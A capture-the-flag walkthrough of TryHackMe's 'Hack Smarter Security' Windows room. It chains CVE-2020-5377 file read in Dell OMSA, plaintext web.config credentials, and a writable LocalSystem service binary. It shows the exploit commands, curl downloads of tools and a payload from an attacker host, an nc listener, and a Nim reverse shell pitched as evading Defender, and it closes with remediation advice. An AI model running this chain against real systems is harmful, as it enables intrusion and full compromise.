Hack Smarter Security
A walkthrough of TryHackMe's Hack Smarter Security — CVE-2020-5377 in Dell OMSA gives arbitrary file read, leaking IIS credentials for SSH access, then a writable service binary escalates to SYSTEM.
A walkthrough of TryHackMe’s Hack Smarter Security — a medium Windows room where CVE-2020-5377 in Dell OpenManage Server Administrator gives arbitrary file read, leaking IIS credentials that grant SSH access. From there, a writable service binary running as LocalSystem lets us swap in a reverse shell and escalate to SYSTEM.
Flags, credentials, and target IPs are redacted. Hack Smarter Security is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Values shown as
<redacted>are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
Nmap reveals Dell OpenManage Server Administrator (OMSA) v9.4.0.2 on port 1311 → exploit CVE-2020-5377 for arbitrary file read → read C:\inetpub\wwwroot\hacksmartersec\web.config to extract IIS credentials → SSH as tyler → PrivescCheck finds the spoofer-scheduler service runs as LocalSystem with its binary writable by all users → compile a Nim reverse shell (bypasses Windows Defender), replace the service binary → restart the service → NT AUTHORITY\SYSTEM.
Low-privilege user → SYSTEM, via a known CVE and a misconfigured service.
The target
export IP=<target-ip>
A Windows Server 2019 box with several services exposed:
Port 21 — FTP (anonymous access, decoy files)
Port 22 — OpenSSH for Windows 7.7
Port 80 — Microsoft IIS 10.0 (static site)
Port 1311 — Dell EMC OpenManage Server Administrator 9.4.0.2 (HTTPS)
Port 3389 — RDP
The IIS site on port 80 is a static corporate page — gobuster finds only standard HTML assets and a superadmin.html page that returns a terse 14-byte body (a dead end). The FTP share holds decoy “hacker” files. The real attack surface is the Dell OMSA instance on port 1311.
The vulnerability: CVE-2020-5377 — Dell OMSA arbitrary file read
Insight
CVE-2020-5377 affects Dell OpenManage Server Administrator versions prior to 9.4.0.2. The OMSA login flow allows a user to authenticate against a remote managed system by supplying its IP. The exploit stands up a fake OMSA endpoint that always returns “admin-level access,” bypassing authentication entirely. Once authenticated, the DownloadServlet endpoint serves arbitrary files from the filesystem — no path validation, no access control.
The key insight: the exploit turns the target’s own trust in remote OMSA nodes against it. By telling OMSA “authenticate me against my attacker IP,” the fake server confirms “yes, this user is an admin,” and the real OMSA hands over file read.
This was documented by Rhino Security Labs with a proof-of-concept script.
Step 1 — Prove arbitrary file read with CVE-2020-5377
The PoC script starts a fake OMSA SOAP endpoint on the attacker machine, then authenticates against the target:
python exploit.py $ATTACKER_IP $IP:1311
# Session: <session-id>
# VID: <vid>
# file >
Confirm the file read primitive with a known Windows file:
file > C:\windows\win.ini
Reading contents of C:\windows\win.ini:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
The exploit works. We can read any file the OMSA process has access to.
Step 2 — Extract IIS credentials from web.config
From the nmap scan, we know IIS serves a site titled “HackSmarterSec.” The standard IIS web root is C:\inetpub\wwwroot\<sitename>\. Requesting the config file:
file > C:\inetpub\wwwroot\hacksmartersec\web.config
Reading contents of C:\inetpub\wwwroot\hacksmartersec\web.config:
<configuration>
<appSettings>
<add key="Username" value="tyler" />
<add key="Password" value="<redacted>" />
</appSettings>
...
</configuration>
The web.config stores credentials in plaintext — a username and password for the user tyler.
Step 3 — SSH as tyler (initial foothold)
With the leaked credentials, we try SSH (RDP also works, but SSH is simpler for scripting):
ssh tyler@$IP
# Password: <redacted>
# Microsoft Windows [Version 10.0.17763.1821]
tyler@HACKSMARTERSEC C:\Users\tyler\Desktop> more user.txt
THM{<redacted>}
We are in as tyler with standard user privileges. User flag captured.
Step 4 — Discover the writable service binary
Windows Defender catches common tools like WinPEAS immediately. However, the PrivescCheck PowerShell script flies under the radar:
# On attacker — serve the script
python3 -m http.server 80
# On target — download and run
curl http://$ATTACKER_IP/PrivescCheck.ps1 -o p.ps1
powershell
. .\p.ps1; Invoke-PrivescCheck -Extended
Insight
PrivescCheck flags a high-severity finding: the spoofer-scheduler service runs as LocalSystem, is startable and stoppable by standard users, and its binary at C:\Program Files (x86)\Spoofer\spoofer-scheduler.exe is writable by BUILTIN\Users (AllAccess).
This is a textbook weak service executable permissions vulnerability — replace the binary, restart the service, and whatever we planted runs as SYSTEM.
We confirm write access:
cd 'C:\Program Files (x86)\Spoofer'
echo 'Hello' > test.txt
type .\test.txt
# Hello
Step 5 — Replace the service binary and escalate to SYSTEM
A standard msfvenom payload would be caught by Windows Defender. Instead, we use a Nim-based reverse shell — a lightweight compiled binary that evades signature-based detection.
On the attacker machine, compile the Nim reverse shell targeting Windows:
# Edit rev_shell.nim: set IP to $ATTACKER_IP, port to 80
nim c -d:mingw --app:gui rev_shell.nim
mv rev_shell.exe spoofer-scheduler.exe
python3 -m http.server 80
On the target, stop the service, replace the binary, then restart:
sc stop spoofer-scheduler
curl http://$ATTACKER_IP/spoofer-scheduler.exe -o spoofer-scheduler.exe
Kill the HTTP server on the attacker, start a listener on port 80, then restart the service:
nc -lvnp 80
sc start spoofer-scheduler
The reverse shell connects as NT AUTHORITY\SYSTEM:
connect to [$ATTACKER_IP] from (UNKNOWN) [$IP] 50855
C:\Windows\system32> whoami
nt authority\system
Navigate to the admin desktop to find the final objective:
cd C:\Users\Administrator\Desktop\Hacking-Targets
type hacking-targets.txt
# Next Victims:
# CyberLens, WorkSmarter, SteelMountain
Full SYSTEM access achieved. Both flags captured.
Note
The service times out after a short period and kills the reverse shell. If the connection drops, restart the listener on the attacker and run sc start spoofer-scheduler again from the tyler SSH session to get a fresh SYSTEM shell.
Impact
Critical
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The chain is fully remote, unauthenticated at the initial stage, and deterministic:
- Arbitrary file read via CVE-2020-5377 — any file on disk, no authentication required.
- Credential leakage — plaintext credentials stored in IIS
web.config, granting SSH access. - Full privilege escalation — a writable service binary running as SYSTEM gives any local user a reliable, persistent path to SYSTEM.
The service binary vulnerability is particularly dangerous because it persists across reboots — any user with local access can re-exploit it at will.
Recommended fix
Fix
- Patch Dell OMSA to a version that addresses CVE-2020-5377, or restrict port 1311 to management VLANs only. Remove OMSA entirely if remote hardware management is not needed.
- Remove plaintext credentials from
web.config**.** Use Windows Credential Manager, DPAPI, or an external secret store. If IIS needs credentials, encrypt theappSettingssection withaspnet_regiis -pe. - Fix service binary permissions. The
spoofer-schedulerexecutable must not be writable by BUILTIN\Users. Restrict the ACL to Administrators and SYSTEM only. - Apply least privilege to services. If
spoofer-schedulerdoes not need SYSTEM, run it under a dedicated low-privilege service account.
Takeaways
- Known CVEs on management interfaces are a goldmine. Dell OMSA, HP iLO, IPMI — these admin consoles often run outdated and are overlooked in patch cycles. Always scan high ports.
web.configis the Windows equivalent of.env**.** When you have file read on a Windows box, IIS configs are the first stop — they frequently contain plaintext credentials.- Service binary permissions are a classic Windows privesc. PrivescCheck and similar tools flag them reliably. If a service runs as SYSTEM and you can write its binary, the box is yours.
- AV evasion is about language choice, not obfuscation. A simple Nim reverse shell bypasses Windows Defender where a standard msfvenom payload is caught immediately. Defenders: rely on behavior-based detection, not signatures.
Thanks for reading. Hack Smarter Security is a clean example of how a known CVE on a management interface chains with a web.config credential leak and a misconfigured service permission to deliver full SYSTEM — a realistic Windows attack path from external to full compromise.